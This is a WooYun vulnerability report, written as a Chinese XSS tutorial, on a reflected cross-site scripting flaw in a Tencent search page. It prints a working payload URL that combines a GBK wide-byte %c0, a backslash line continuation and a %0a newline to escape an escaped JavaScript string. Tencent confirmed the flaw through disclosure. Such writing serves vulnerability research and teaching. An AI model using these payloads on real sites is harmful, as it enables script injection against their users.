当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016008

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 7. 宽字节、反斜线与换行符一起复仇记

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-14 13:06

修复时间:2013-01-28 13:07

公开时间:2013-01-28 13:07

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-14: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向核心白帽子及相关领域专家公开
2013-01-06: 细节向普通白帽子公开
2013-01-16: 细节向实习白帽子公开
2013-01-28: 细节向公众公开

简要描述:

这一次,3个家伙一起上啦~

详细说明:

1. 实例点如下:

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa


老规矩,继续看我们的输出。

27.jpg


2. 一共有3处输出,位于HTML属性里的那一处,我们放弃了,因为双引号被灭掉了。那么还剩下2处。 都是位于<script>..</script>里,而且挨在了一起。
3. 先看第2处,是不是似曾相似啊? 对的,教程6里刚刚遇到过。那就是输出在【注释】的情况。我们用换行符试试?

28.jpg


4. 一条是好消息,换行可以用,一条是坏消息。。下面出现的一句坏了我们的好事。。肿么办。
5. 这个时候,我们需要先说点javascript的知识。
javascript,字符串允许下面多行的写法。

var  a="我是一个字符串\
我还是一个字符串";
alert(a);


6. 基于这点,我们可以把缺陷点构造成下面的样子。

//document.getElementById("order_select").value = "aaaa\
alert(1);//";
var searchOrder = "aaaa\
alert(1);//";


那么代码构造的解析如下:

29.jpg


7.带着这个想法,请上我们的反斜线。。

30.jpg


8. 悲剧的是,反斜线被过滤成了2个\\,这下不好办了。
9. 还记得在教程4里,我们提到的宽字节用法么?说到了 %c0可以吃掉%5c。
我们看看页面的编码。

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />


gbxxx系列的啊,窃喜中。
10. 于是,我们的%c0也加入战斗了。

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//


看看源码中的输出。 \\ 被我们变成了 乱码+\

31.jpg


11. 最后弹窗,见漏洞证明~~
12. 此时,标点符号们正在开会,开会的主题是:“大家好,才是真的好”

漏洞证明:

32.jpg

修复方案:

参加前面教程4,5,6

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-17 15:07

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无